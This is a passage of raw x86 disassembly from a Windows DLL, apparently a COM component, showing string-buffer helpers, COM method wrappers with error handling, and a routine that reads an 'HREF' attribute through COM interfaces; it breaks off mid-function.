loc_69B88885: ; DATA XREF: .text:69B888D0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B8889C: ; CODE XREF: sub_69B88815+65j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B888A0: ; CODE XREF: sub_69B88815+4Bj
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B888BB: ; CODE XREF: sub_69B88815+20j
call sub_69B1853C
retn 8
sub_69B88815 endp
; ---------------------------------------------------------------------------
align 8
dword_69B888C8 dd 0FFFFFFFFh dd offset loc_69B8887C
dd offset loc_69B88885
; =============== S U B R O U T I N E =======================================
sub_69B888D4 proc near ; DATA XREF: .text:69B14CC0o
push 20h
push offset dword_69B88980
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B888F6
mov eax, 80004005h
jmp short loc_69B88974
; ---------------------------------------------------------------------------
loc_69B888F6: ; CODE XREF: sub_69B888D4+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
cmp [ebp+10h], edi
jnz short loc_69B88911
mov edi, 80070057h
jmp short loc_69B88961
; ---------------------------------------------------------------------------
loc_69B88911: ; CODE XREF: sub_69B888D4+34j
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-2Ch], ecx
mov eax, [ecx]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
cmp dword ptr [ebp+0Ch], 1
setz dl
push edx
call dword ptr [eax+3Ch]
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
call dword ptr [eax+44h]
jmp short loc_69B8895D
; ---------------------------------------------------------------------------
loc_69B8893D: ; DATA XREF: .text:69B88984o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B88946: ; DATA XREF: .text:69B88988o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B8895D: ; CODE XREF: sub_69B888D4+67j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B88961: ; CODE XREF: sub_69B888D4+3Bj
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B88974: ; CODE XREF: sub_69B888D4+20j
call sub_69B1853C
retn 14h
sub_69B888D4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B88980 dd 0FFFFFFFFh dd offset loc_69B8893D
dd offset loc_69B88946
; =============== S U B R O U T I N E =======================================
sub_69B8898C proc near ; DATA XREF: .text:69B14CCCo
push 20h
push offset dword_69B88A30
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B889AE
mov eax, 80004005h
jmp short loc_69B88A26
; ---------------------------------------------------------------------------
loc_69B889AE: ; CODE XREF: sub_69B8898C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
cmp [ebp+0Ch], edi
jnz short loc_69B889D4
mov edi, 80070057h
jmp short loc_69B88A0B
; ---------------------------------------------------------------------------
loc_69B889D4: ; CODE XREF: sub_69B8898C+3Fj
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
push dword ptr [ebp+0Ch]
call dword ptr [eax+40h]
jmp short loc_69B88A07
; ---------------------------------------------------------------------------
loc_69B889E7: ; DATA XREF: .text:69B88A34o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B889F0: ; DATA XREF: .text:69B88A38o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B88A07: ; CODE XREF: sub_69B8898C+59j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B88A0B: ; CODE XREF: sub_69B8898C+46j
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B88A26: ; CODE XREF: sub_69B8898C+20j
call sub_69B1853C
retn 8
sub_69B8898C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B88A30 dd 0FFFFFFFFh dd offset loc_69B889E7
dd offset loc_69B889F0
; =============== S U B R O U T I N E =======================================
sub_69B88A3C proc near ; DATA XREF: .text:69B14D84o
push 30h
push offset dword_69B88AF0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B88A61
mov eax, 80004005h
jmp loc_69B88AE2
; ---------------------------------------------------------------------------
loc_69B88A61: ; CODE XREF: sub_69B88A3C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B88A89
mov ebx, 80070057h
jmp short loc_69B88AC7
; ---------------------------------------------------------------------------
loc_69B88A89: ; CODE XREF: sub_69B88A3C+44j
mov [ebp-4], ebx
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
lea edx, [ebp-40h]
push edx
call dword ptr [eax+38h]
mov esi, eax
movsd
movsd
movsd
movsd
jmp short loc_69B88AC3
; ---------------------------------------------------------------------------
loc_69B88AA3: ; DATA XREF: .text:69B88AF4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B88AAC: ; DATA XREF: .text:69B88AF8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B88AC3: ; CODE XREF: sub_69B88A3C+65j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B88AC7: ; CODE XREF: sub_69B88A3C+4Bj
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B88AE2: ; CODE XREF: sub_69B88A3C+20j
call sub_69B1853C
retn 8
sub_69B88A3C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B88AF0 dd 0FFFFFFFFh dd offset loc_69B88AA3
dd offset loc_69B88AAC
; =============== S U B R O U T I N E =======================================
sub_69B88AFC proc near ; DATA XREF: .text:69B14D8Co
push 20h
push offset dword_69B88B98
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B88B1E
mov eax, 80004005h
jmp short loc_69B88B8E
; ---------------------------------------------------------------------------
loc_69B88B1E: ; CODE XREF: sub_69B88AFC+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
cmp [ebp+0Ch], edi
jnz short loc_69B88B39
mov edi, 80070057h
jmp short loc_69B88B7B
; ---------------------------------------------------------------------------
loc_69B88B39: ; CODE XREF: sub_69B88AFC+34j
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-2Ch], ecx
mov eax, [ecx]
push dword ptr [ebp+0Ch]
call dword ptr [eax+3Ch]
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
call dword ptr [eax+44h]
jmp short loc_69B88B77
; ---------------------------------------------------------------------------
loc_69B88B57: ; DATA XREF: .text:69B88B9Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B88B60: ; DATA XREF: .text:69B88BA0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B88B77: ; CODE XREF: sub_69B88AFC+59j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B88B7B: ; CODE XREF: sub_69B88AFC+3Bj
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B88B8E: ; CODE XREF: sub_69B88AFC+20j
call sub_69B1853C
retn 8
sub_69B88AFC endp
; ---------------------------------------------------------------------------
align 4
dword_69B88B98 dd 0FFFFFFFFh dd offset loc_69B88B57
dd offset loc_69B88B60
; =============== S U B R O U T I N E =======================================
sub_69B88BA4 proc near ; DATA XREF: .text:69B14D90o
push 24h
push offset dword_69B88C60
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B88BC9
mov eax, 80004005h
jmp loc_69B88C54
; ---------------------------------------------------------------------------
loc_69B88BC9: ; CODE XREF: sub_69B88BA4+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
cmp [ebp+0Ch], edi
jnz short loc_69B88BEF
mov edi, 80070057h
jmp short loc_69B88C39
; ---------------------------------------------------------------------------
loc_69B88BEF: ; CODE XREF: sub_69B88BA4+42j
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
cmp dword ptr [ebp+10h], 1
setz dl
push edx
push dword ptr [ebp+0Ch]
call dword ptr [eax+40h]
mov ecx, [esi+10h]
mov [ebp-34h], ecx
mov eax, [ecx]
call dword ptr [eax+44h]
jmp short loc_69B88C35
; ---------------------------------------------------------------------------
loc_69B88C15: ; DATA XREF: .text:69B88C64o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B88C1E: ; DATA XREF: .text:69B88C68o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B88C35: ; CODE XREF: sub_69B88BA4+6Fj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B88C39: ; CODE XREF: sub_69B88BA4+49j
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B88C54: ; CODE XREF: sub_69B88BA4+20j
call sub_69B1853C
retn 0Ch
sub_69B88BA4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B88C60 dd 0FFFFFFFFh dd offset loc_69B88C15
dd offset loc_69B88C1E
; =============== S U B R O U T I N E =======================================
sub_69B88C6C proc near ; DATA XREF: .text:69B14D88o
push 10h
push offset dword_69B88CC0
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov eax, [ebp+8]
mov ecx, [eax+10h]
mov [ebp-1Ch], ecx
mov eax, [ecx]
call dword ptr [eax+48h]
mov [ebp-20h], eax
jmp short loc_69B88CAD
; ---------------------------------------------------------------------------
loc_69B88C8F: ; DATA XREF: .text:69B88CC4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B88C98: ; DATA XREF: .text:69B88CC8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B88CAD: ; CODE XREF: sub_69B88C6C+21j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 4
sub_69B88C6C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B88CC0 dd 0FFFFFFFFh dd offset loc_69B88C8F
dd offset loc_69B88C98
; =============== S U B R O U T I N E =======================================
sub_69B88CCC proc near ; CODE XREF: sub_69B88D77-1248Cp
; sub_69B768F4+14p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
lea eax, [edi+edi+10h]
push eax
mov ebx, ecx
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], edi
call sub_69B19118
push esi
add ebx, 0Ch
push ebx
mov dword ptr [esi], offset off_69B121D0
call sub_69B17320
pop edi
pop esi
pop ebx
retn 4
sub_69B88CCC endp
; =============== S U B R O U T I N E =======================================
sub_69B88D01 proc near ; CODE XREF: sub_69B466EF+2Dp
mov eax, [ecx+0Ch]
push esi
push dword ptr [ecx+8] ; UINT
add eax, 0Ch
push eax ; OLECHAR *
call SysAllocStringLen
mov esi, eax
test esi, esi
jnz short loc_69B88D1D
call sub_69B2E87C
loc_69B88D1D: ; CODE XREF: sub_69B88D01+15j
mov eax, esi
pop esi
retn
sub_69B88D01 endp
; =============== S U B R O U T I N E =======================================
sub_69B88D21 proc near ; CODE XREF: sub_69B88DA3:loc_69B88DC5p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
lea eax, [esi+esi+10h]
push eax
mov ebp, ecx
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], esi
call sub_69B19118
mov dword ptr [ebx], offset off_69B121D0
mov ecx, [ebp+8]
shl ecx, 1
mov edx, ecx
lea eax, [ebp+0Ch]
mov esi, [eax]
shr ecx, 2
add esi, 0Ch
lea edi, [ebx+0Ch]
rep movsd
mov ecx, edx
push ebx
and ecx, 3
push eax
rep movsb
call sub_69B17320
pop edi
pop esi
mov byte ptr [ebp+10h], 0
pop ebp
pop ebx
retn 4
sub_69B88D21 endp
; =============== S U B R O U T I N E =======================================
sub_69B88D77 proc near ; CODE XREF: sub_69B304F3+11p
; sub_69B42B4C+62p ...
; FUNCTION CHUNK AT 69B768D9 SIZE 0000001B BYTES
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B88D89
mov ecx, eax
jmp loc_69B768D9
; ---------------------------------------------------------------------------
loc_69B88D89: ; CODE XREF: sub_69B88D77+9j
xor eax, eax
retn
sub_69B88D77 endp
; =============== S U B R O U T I N E =======================================
sub_69B88D8C proc near ; CODE XREF: sub_69B166C0+48p
; sub_69B46C54+10p ...
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B88D9E
mov ecx, eax
jmp sub_69B768F4
; ---------------------------------------------------------------------------
loc_69B88D9E: ; CODE XREF: sub_69B88D8C+9j
xor eax, eax
retn 4
sub_69B88D8C endp
; =============== S U B R O U T I N E =======================================
sub_69B88DA3 proc near ; CODE XREF: sub_69B88E04+1Bp
; sub_69B88E3F+Fp ...
arg_0 = dword ptr 4
mov eax, [ecx+0Ch]
mov eax, [eax+8]
mov edx, [esp+arg_0]
cmp edx, eax
jle short loc_69B88DBE
lea eax, [eax+eax+2]
cmp edx, eax
jge short loc_69B88DBB
mov edx, eax
loc_69B88DBB: ; CODE XREF: sub_69B88DA3+14j
push edx
jmp short loc_69B88DC5
; ---------------------------------------------------------------------------
loc_69B88DBE: ; CODE XREF: sub_69B88DA3+Cj
cmp byte ptr [ecx+10h], 0
jz short locret_69B88DCA
push eax
loc_69B88DC5: ; CODE XREF: sub_69B88DA3+19j
call sub_69B88D21
locret_69B88DCA: ; CODE XREF: sub_69B88DA3+1Fj
retn 4
sub_69B88DA3 endp
; =============== S U B R O U T I N E =======================================
sub_69B88DCD proc near ; DATA XREF: .text:69B1439Co
; .text:69B166B4o
push esi
mov esi, ecx
cmp dword ptr [esi+8], 0
jz short loc_69B88DFD
push 14h
mov byte ptr [esi+10h], 1
call sub_69B17EF3
test eax, eax
jz short loc_69B88DF9
mov edx, [esi+0Ch]
push dword ptr [esi+8]
lea ecx, [edx+0Ch]
push ecx
push edx
mov ecx, eax
call sub_69B1F916
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B88DF9: ; CODE XREF: sub_69B88DCD+16j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B88DFD: ; CODE XREF: sub_69B88DCD+7j
mov eax, offset off_69B1A5AC
pop esi
retn
sub_69B88DCD endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B88E04(LPCWSTR lpString)
sub_69B88E04 proc near ; CODE XREF: sub_69B61BB4+5Dp
; sub_69B61BB4+75p ...
lpString = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+lpString]
push edi
push esi ; lpString
mov ebx, ecx
call ds:lstrlenW ; lstrlenW
mov ebp, eax
mov eax, [ebx+8]
add eax, ebp
push eax
mov ecx, ebx
call sub_69B88DA3
mov eax, [ebx+8]
mov edx, [ebx+0Ch]
mov ecx, ebp
lea edi, [edx+eax*2+0Ch]
rep movsw
add [ebx+8], ebp
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
retn 4
sub_69B88E04 endp
; =============== S U B R O U T I N E =======================================
sub_69B88E3F proc near ; CODE XREF: sub_69B61BB4+4Bp
; sub_69B61BB4+69p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
mov ebx, ecx
mov eax, [ebx+8]
push edi
add eax, esi
push eax
call sub_69B88DA3
mov eax, [esp+0Ch+arg_4]
mov edx, [esp+0Ch+arg_0]
mov ecx, esi
lea esi, [edx+eax*2]
mov eax, [ebx+8]
mov edx, [ebx+0Ch]
lea edi, [edx+eax*2+0Ch]
mov eax, [esp+0Ch+arg_8]
rep movsw
add [ebx+8], eax
pop edi
pop esi
mov eax, ebx
pop ebx
retn 0Ch
sub_69B88E3F endp
; =============== S U B R O U T I N E =======================================
sub_69B88E7C proc near ; CODE XREF: sub_69B3047E+48p
; sub_69B304F3+67p ...
arg_0 = word ptr 4
push esi
mov esi, ecx
mov eax, [esi+8]
inc eax
push eax
call sub_69B88DA3
push dword ptr [esi+8]
mov ecx, [esi+0Ch]
call sub_69B2EDDB
mov cx, [esp+4+arg_0]
mov [eax], cx
inc dword ptr [esi+8]
mov eax, esi
pop esi
retn 4
sub_69B88E7C endp
; =============== S U B R O U T I N E =======================================
sub_69B88EA5 proc near ; CODE XREF: sub_69B61BB4+37p
; sub_69B6699A+4A6p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov eax, [esi+8]
add eax, [edi+8]
push eax
call sub_69B88DA3
push dword ptr [esi+8]
mov ecx, edi
push dword ptr [esi+0Ch]
push dword ptr [edi+8]
push 0
call sub_69B2F14E
mov eax, [edi+8]
add [esi+8], eax
pop edi
mov eax, esi
pop esi
retn 4
sub_69B88EA5 endp
; =============== S U B R O U T I N E =======================================
sub_69B88ED8 proc near ; CODE XREF: sub_69B35A98+Bp
; sub_69B35A98+17p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
xor ecx, ecx
mov [eax+4], ecx
mov [eax+0Ch], ecx
mov [eax+8], ecx
mov ecx, [esp+arg_4]
mov [eax+10h], ecx
retn 8
sub_69B88ED8 endp
; =============== S U B R O U T I N E =======================================
sub_69B88EF5 proc near ; CODE XREF: sub_69B32133+5Ap
; sub_69B32133+64j ...
push dword ptr [ecx+4]
call sub_69B1B2B7
retn
sub_69B88EF5 endp
; =============== S U B R O U T I N E =======================================
sub_69B88EFE proc near ; CODE XREF: sub_69B318FB+6j
push ebx
mov ebx, ecx
mov eax, [ebx+0Ch]
add eax, [ebx+10h]
push ebp
imul eax, [ebx]
push eax
call sub_69B11E44
mov ebp, eax
xor eax, eax
test ebp, ebp
jz short loc_69B88F74
mov ecx, [ebx+0Ch]
add ecx, [ebx+10h]
push edi
imul ecx, [ebx]
mov edx, ecx
shr ecx, 2
mov edi, ebp
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov eax, [ebx+8]
test eax, eax
jle short loc_69B88F54
mov ecx, [ebx]
imul ecx, eax
mov eax, ecx
push esi
mov esi, [ebx+4]
shr ecx, 2
mov edi, ebp
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
loc_69B88F54: ; CODE XREF: sub_69B88EFE+3Aj
mov eax, [ebx+10h]
push dword ptr [ebx+4]
add [ebx+0Ch], eax
call sub_69B1B2B7
mov ecx, [ebx+8]
mov eax, [ebx]
imul eax, ecx
add eax, ebp
inc ecx
mov [ebx+4], ebp
mov [ebx+8], ecx
pop edi
loc_69B88F74: ; CODE XREF: sub_69B88EFE+19j
pop ebp
pop ebx
retn
sub_69B88EFE endp
; =============== S U B R O U T I N E =======================================
sub_69B88F77 proc near ; DATA XREF: .text:69B145ACo
mov eax, offset off_69B2B19C
retn
sub_69B88F77 endp
; =============== S U B R O U T I N E =======================================
sub_69B88F7D proc near ; CODE XREF: sub_69B77D54+Fp
; DATA XREF: .text:69B220C4o ...
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
and eax, [esp+arg_8]
mov [ecx+10h], eax
retn 0Ch
sub_69B88F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B88F8B proc near ; CODE XREF: sub_69B3B844+2Bp
; sub_69B3C3D3+5Cp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2B110
xor eax, eax
repe cmpsd
jnz short loc_69B88FB3
mov esi, [ebp+arg_0]
loc_69B88FA4: ; CODE XREF: sub_69B88F8B+45j
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+arg_8]
mov [eax], esi
xor eax, eax
jmp short loc_69B88FD7
; ---------------------------------------------------------------------------
loc_69B88FB3: ; CODE XREF: sub_69B88F8B+14j
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2B0C0
xor eax, eax
repe cmpsd
jnz short loc_69B88FD2
mov esi, [ebp+arg_0]
lea eax, [esi+4]
neg esi
sbb esi, esi
and esi, eax
jmp short loc_69B88FA4
; ---------------------------------------------------------------------------
loc_69B88FD2: ; CODE XREF: sub_69B88F8B+37j
mov eax, 80004002h
loc_69B88FD7: ; CODE XREF: sub_69B88F8B+26j
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B88F8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B88FDD proc near ; CODE XREF: .text:69B89E7Fj
; DATA XREF: .text:off_69B89E34o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, [ebp+arg_0]
push [ebp+arg_4]
lea ecx, [esi+8]
push esi
call sub_69B87FE8
cmp eax, 80004002h
jnz short loc_69B89006
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_69B88F8B
loc_69B89006: ; CODE XREF: sub_69B88FDD+1Bj
pop esi
pop ebp
retn 0Ch
sub_69B88FDD endp
; =============== S U B R O U T I N E =======================================
sub_69B8900B proc near ; CODE XREF: .text:69B73E11p
; .text:69B897A3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword ptr [ecx+4], 0
jnz short loc_69B8901A
mov eax, [esp+arg_4]
and dword ptr [eax], 0
jmp short locret_69B8903B
; ---------------------------------------------------------------------------
loc_69B8901A: ; CODE XREF: sub_69B8900B+4j
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_69B89030
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B88161
jmp short loc_69B89035
; ---------------------------------------------------------------------------
loc_69B89030: ; CODE XREF: sub_69B8900B+14j
mov eax, 80004005h
loc_69B89035: ; CODE XREF: sub_69B8900B+23j
push eax
call sub_69B8861E
locret_69B8903B: ; CODE XREF: sub_69B8900B+Dj
retn 8
sub_69B8900B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8903E proc near ; CODE XREF: sub_69B5E0C8+5Cp
; sub_69B89865+7p
var_1100 = dword ptr -1100h
var_10FC = dword ptr -10FCh
var_10F8 = byte ptr -10F8h
var_10F0 = dword ptr -10F0h
var_10E4 = dword ptr -10E4h
var_10E0 = dword ptr -10E0h
var_10DC = word ptr -10DCh
var_10D4 = dword ptr -10D4h
nChar = dword ptr -10CCh
lpStr1 = dword ptr -10C8h
var_10C4 = dword ptr -10C4h
var_10C0 = dword ptr -10C0h
var_10BC = byte ptr -10BCh
pvarg = VARIANTARG ptr -10ACh
var_109C = dword ptr -109Ch
var_1098 = dword ptr -1098h
var_1094 = dword ptr -1094h
lpString = dword ptr -1090h
String = word ptr -108Ch
var_44 = byte ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_69B89508
push offset sub_69B22496
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 10E8h
call sub_69B1B09C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp+var_1C], eax
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
mov [ebp+var_20], ebx
mov [ebp+var_24], ebx
mov [ebp+var_28], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_30], ebx
mov [ebp+var_34], ebx
mov [ebp+var_38], ebx
push offset aHref ; "HREF"
call SysAllocString
mov [ebp+var_3C], eax
cmp eax, ebx
jz loc_69B89482
mov [ebp+var_4], ebx
mov esi, [ebp+arg_0]
mov eax, [esi]
lea ecx, [ebp+var_20]
push ecx
push offset dword_69B2B040
push esi
call dword ptr [eax]
mov [ebp+var_40], eax
cmp eax, ebx
jge short loc_69B890DE
mov eax, [esi]
lea ecx, [ebp+var_2C]
push ecx
push (offset loc_69B2B07C+4)
push esi
call dword ptr [eax]
mov [ebp+var_40], eax
cmp eax, ebx
jge loc_69B891DD
jmp loc_69B8947E
; ---------------------------------------------------------------------------
loc_69B890DE: ; CODE XREF: sub_69B8903E+80j
mov eax, [ebp+var_20]
mov ecx, [eax]
lea edx, [ebp+var_34]
push edx
push offset dword_69B2AFF0
push offset nullsub_1
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jl short loc_69B8912D
mov eax, [ebp+var_34]
mov ecx, [eax]
lea edx, [ebp+var_44]
push edx
push 1048h
lea edx, [ebp+String]
push edx
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jl short loc_69B8912D
lea eax, [ebp+String]
push eax ; lpString
call sub_69B1A587
mov [ebp+var_38], eax
jmp loc_69B8947E
; ---------------------------------------------------------------------------
loc_69B8912D: ; CODE XREF: sub_69B8903E+BCj
; sub_69B8903E+D9j
mov ecx, [ebp+var_20]
mov edx, [ecx]
lea eax, [ebp+var_24]
push eax
mov eax, offset dword_69B2AF40
push eax
push eax
push ecx
call dword ptr [edx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jl short loc_69B891A3
mov eax, [ebp+var_24]
mov ecx, [eax]
push ebx
lea edx, [ebp+var_28]
push edx
push ebx
push offset dword_69B295C0
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B8947E
mov eax, [ebp+var_28]
mov ecx, [eax]
lea edx, [ebp+lpString]
push edx
push ebx
push ebx
push eax
call dword ptr [ecx+50h]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B8947E
push [ebp+lpString] ; lpString
call sub_69B1A587
mov [ebp+var_38], eax
push [ebp+lpString] ; pv
call ds:CoTaskMemFree
jmp loc_69B8947E
; ---------------------------------------------------------------------------
loc_69B891A3: ; CODE XREF: sub_69B8903E+108j
mov eax, [ebp+var_20]
mov ecx, [eax]
lea edx, [ebp+var_2C]
push edx
mov esi, (offset loc_69B2B07C+4)
push esi
push offset dword_69B2AEF0
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jge short loc_69B891DD
mov eax, [ebp+var_20]
mov ecx, [eax]
lea edx, [ebp+var_2C]
push edx
push esi
push offset dword_69B2AF00
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jl loc_69B8947E
loc_69B891DD: ; CODE XREF: sub_69B8903E+95j
; sub_69B8903E+182j
mov eax, [ebp+var_2C]
mov ecx, [eax]
lea edx, [ebp+var_1094]
push edx
push eax
call dword ptr [ecx+20h]
mov [ebp+var_40], eax
cmp eax, ebx
jnz loc_69B893DF
mov eax, [ebp+var_1094]
cmp eax, ebx
jz loc_69B893DF
mov [ebp+var_1098], ebx
mov ecx, [eax]
lea edx, [ebp+var_1098]
push edx
push eax
call dword ptr [ecx+24h]
xor edi, edi
mov [ebp+var_109C], edi
loc_69B89221: ; CODE XREF: sub_69B8903E+390j
cmp edi, [ebp+var_1098]
jge loc_69B893D3
lea eax, [ebp+pvarg]
push eax ; pvarg
mov esi, VariantInit
call esi ; VariantInit
mov word ptr [ebp+pvarg.anonymous_0], 3
mov dword ptr [ebp+pvarg.anonymous_0+8], edi
lea eax, [ebp+var_10BC]
push eax ; pvarg
call esi ; VariantInit
mov [ebp+var_10C0], ebx
mov eax, [ebp+var_1094]
mov ecx, [eax]
lea edx, [ebp+var_10C0]
push edx
sub esp, 10h
lea esi, [ebp+var_10BC]
mov edi, esp
movsd
movsd
movsd
movsd
sub esp, 10h
lea esi, [ebp+pvarg]
